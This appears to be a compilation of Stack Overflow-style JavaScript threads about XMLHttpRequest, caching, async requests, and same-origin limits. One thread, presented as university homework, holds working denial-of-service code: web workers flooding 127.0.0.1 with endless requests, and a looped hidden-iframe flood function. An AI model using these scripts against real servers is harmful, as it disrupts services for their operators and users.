Trigger a URL using JavaScript - javascript

I need a script that triggers a URL(go to the URL and that's it).
What's the shortest way to write this script?

Use window.location.
window.location = 'http://stackoverflow.com';
Or shorter (not recommend though).
location = 'http://stackoverflow.com';
No ajaxical magic needed.

window.location='http://www.google.com';
Of course you could code-golf out the url and the semicolon.

Thanks:
Use window.location.
window.location = 'http://stackoverflow.com';

This is a sample AJAX code sample that can be used to fire a silent query to the browser and fetch the response and act on it.
var xmlhttp;
if (window.XMLHttpRequest)
xmlhttp = new XMLHttpRequest();
else
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
// Do something with the result, like post a notification
$('#notice').html('<p class="success">'+xmlhttp.responseText+'</p>');
}
}
xmlhttp.open('GET',url, true);
xmlhttp.send();

Related

JavaScript: How to "refresh" data from same URL?

Having this API:
http://quotesondesign.com/wp-json/posts?filter[orderby]=rand&filter[posts_per_page]=1
How can I write using pure JS request that downloads me different data after button click event?
All I get from this code is the same quote all the time:
function getQuote (cb) {
var xmlhttp = new XMLHttpRequest();
var quoteURL = "http://quotesondesign.com/wp-json/posts?filter[orderby]=rand"
xmlhttp.onreadystatechange = function() {
if (xmlhttp.status == 200 && this.readyState==4) {
cb(this.responseText);
}
};
xmlhttp.open("GET", quoteURL, true);
xmlhttp.send();
}
document.querySelector('button').addEventListener("click", function() {
getQuote(function(quote) {
console.log(quote);
});
})
I tried xmlhttp.abort() and stuff but it didnt want to cooperate.
Thanks in advance!
Your response is being cached by the browser. A common trick to avoid this is to perform a request to
http://quotesondesign.com/wp-json/posts?filter[orderby]=rand&filter[posts_per_page]=1&r={random_number}
Notice how the r={random_number} will make the URL different each time.
This is a caching problem. Add a timestamp as a query parameter and you should be able to bust the cache.

Is a get request possible with javascript?

I was wondering if it was possible to make a GET request with javascript, so it can update text without refreshing the page.
If this is possible, how can I make a get request with javascript & get the result/decode it from json?
I tried this from a past question:
function updateButton(){
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://xxxx.com/getSpecialSale.php", false);
xmlHttp.send(null);
document.getElementById("dicebutton").innerHTML=xmlHttp.responseText;
}
And, it completely stops the main thread, making the website unresponsive. What is wrong?
Currently you set the async parameter to false, so the request is sent to the server and the browser waits for the response. To make an async request, just pass true as thrid param to open
xmlHttp.open("GET", "http://xxxx.com/getSpecialSale.php", true);
in addition to that, you have to register an callback, which waits for the response (and maybe to handle errors..)
xmlHttp.onload = function (e) {
if (xmlHttp.readyState === 4) {
if (xmlHttp.status === 200) {
console.log(xmlHttp.responseText);
} else {
console.error(xmlHttp.statusText);
}
}
};
xmlHttp.onerror = function (e) {
console.error(xmlHttp.statusText);
};
In addition to that a note from the mozilla docs
Note: Starting with Gecko 30.0 (Firefox 30.0 / Thunderbird 30.0 /
SeaMonkey 2.27), synchronous requests on the main thread have been
deprecated due to the negative effects to the user experience.
var isAjax=false;
function updateButton(){
if(!isAjax) { //Stops the user making a million requests per minute
isAjax=true;
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://xxxx.com/getSpecialSale.php", true);
xmlHttp.send(null);
document.getElementById("dicebutton").innerHTML=xmlHttp.responseText;
isAjax=false;
}
}
OR jQuery...
$("#btnUpdate").click(function(){
$.get("http://xxxx.com/getSpecialSale.php", function(data, status){
$("#dicebutton").html(data);
});
});
If you want to use async you will need some code modifications, ie the stuff that happens after the response completes needs to be in a callback function as follows:
function updateButton(){
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://xxxx.com/getSpecialSale.php", true);
xmlHttp.onload = function () {
document.getElementById("dicebutton").innerHTML=xmlHttp.responseText;
};
xmlHttp.send(null);
}

JavaScript DoS attack using WebWorkers

at the university we got sort of a "homework" to try to execute denial of service attack. I have decided to go a little bit different way then oters. I tried to execute it using JavaScript.
The questions are:
Is it even possible to to this?
If I do HttpRequest on loopback will I see the result by unaccesibility of any web sites caused by overflowing http port?
Is there better code to do this than mine?
index.html:
<script>
for(var i = 0; i< 50; i++) {
worker = new Worker("worker.js");
worker.postMessage('Hello World');
}
</script>
worker.js:
self.addEventListener('message', function(e) {
while(1) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", "http://127.0.0.1", true);
xmlHttp.send(null);
}
}, false);
Thank you for any input!
So first of all if I could improve this code i would use a setInterval instead of while(1). Secondly, I found a much simpler version here:
function _DDoS(url){
document.body.innerHTML+='<iframe src="'+url+'" style="display:none;"> </iframe>';
}
for(;;){
setTimeout(_DDoS("http://localhost"),10);
}
just search javascript ddos and you will find many examples

for some reason, document.getElementById().innerHTML is not working?

i have a span with the same value..
echo "<span id='msgNotif1' class='badge' style='position:relative;right:5px;bottom:10px;'>".$number."</span>";
where $number have a value..
and my js code is..
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var val = xmlhttp.responseText;
//alert(val);
document.getElementById("msgNotif1").innerHTML = val;
//document.getElementById("msgNotif2").innerHTML = val;
alert(val);
//document.getElementById("msgNotif3").innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET", "some page", true);
xmlhttp.send();
the problem is the value still remains and do not change,
trying to uncomment the first alert shows an alert with the right value, but when i try to comment it the second alert never executed, giving me an idea that the document.getelementbyid().innerhtml is the one that is not working, been with this for a few hours,
any help will be appreciated.
thanks in advance
Your error message Cannot set property 'innerHTML' of null" means that:
document.getElementById("msgNotif1")
is returning null. That can happen for several possible reasons:
There is no element in your page with id="msgNotif1".
You are calling this code before your document has finished loading and thus the element with id="msgNotif1" has not yet loaded. This can commonly happen if you execute your code in the <head> section of the document rather than at the very end of <body> or in response to the DOMContentLoaded event.
Your content is dynamically loaded (not in the original page HTML) and you are calling document.getElementById("msgNotif1") before your dynamic content has been loaded.
You have some HTML errors which are preventing the proper parsing of your HTML that contains the element with id="msgNotif1".
For a general purpose description of how to run Javascript after the current page has been loaded without using a framework like jQuery, see this answer: pure JavaScript equivalent to jQuery's $.ready() how to call a function when the page/dom is ready for it
You are receiving this error in your console because it doesn't exist at the time your script is running. This can be caused if the element hasn't been loaded when your script is running, if your IDs aren't the same, or if the element doesn't exist in your html. If you are referencing the element before it loads, add a function that executes when your page loads.
You can use JQuery
$(document).ready(function(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var val = xmlhttp.responseText;
//alert(val);
document.getElementById("msgNotif1").innerHTML = val;
//document.getElementById("msgNotif2").innerHTML = val;
alert(val);
//document.getElementById("msgNotif3").innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET", "some page", true);
xmlhttp.send();
});
or with pure Javascript to create the event.
window.onload = function(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var val = xmlhttp.responseText;
//alert(val);
document.getElementById("msgNotif1").innerHTML = val;
//document.getElementById("msgNotif2").innerHTML = val;
alert(val);
//document.getElementById("msgNotif3").innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET", "some page", true);
xmlhttp.send();
};
Valid points have been brought up in that doing Ajax requests with pure Javascript takes much more code than if you were to use JQuery. This is the reason why I (and many others) use JQuery for all the Ajax requests performed. JQuery has many methods for Ajax that will save a lot of time and code and in the long run will reduce your file size by a few bytes since, with JQuery, the code is reused.

how to get the source code based on url using java script?

i wrote some code to get the html source code but it is working only IE8,but not working on mozila and chrome , what is the problem , please give me suggestion.
my code
<script>
function processStateChange() {
statusDiv = document.getElementById("stats");
if (req.readyState == 0) { statusDiv.innerHTML = "UNINITIALIZED"; }
if (req.readyState == 1) { statusDiv.innerHTML = "LOADING"; }
if (req.readyState == 2) { statusDiv.innerHTML = "LOADED"; }
if (req.readyState == 3) { statusDiv.innerHTML = "INTERACTIVE"; }
if (req.readyState == 4) {
statusDiv.innerHTML = "COMPLETE";
statusDiv.innerHTML = req.responseText;
}
}
function GetXmlHttpObject() {
if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
return new XMLHttpRequest();
} if (window.ActiveXObject) { // code for IE6, IE5
return new ActiveXObject("Microsoft.XMLHTTP");
} return null;
}
//req = new XMLHttpRequest("Msxml2.XMLHTTP");
req = GetXmlHttpObject();
debugger;
if (req) {
req.onreadystatechange = processStateChange;
req.open("GET", "http://whatismyipaddress.com/", true);
req.send();
}
</script>
i checked to debug the code IE was completely working the loop(req.readystate==4 to finally get the response text) but mozila or chromes are only working loop(req.readystate==2 after abort the loop), what is the problem, please give me some suggestion, using jquery or java script to solve the problem
Thank u
hemanth
Due to the same origin policy restriction you cannot send cross domain AJAX calls. The reason this works in IE is probably that you are using some old dinosaurish version of IE that has some bugs and allows such an AJAX request. But no modern browser will ever allow you to do that.
You can send AJAX requests only to the domain from which originated the page containing the javascript code sending the AJAX request.
There are some workarounds depending on the level of control you have over the remote domain. In your case I guess that you have no control over http://whatismyipaddress.com/. So your only option is to write a server side script on your domain that will serve as a bridge between your domain and the remote domain and then send the AJAX request to your script:
req.open("GET", "/myscript", true);

Categories

Resources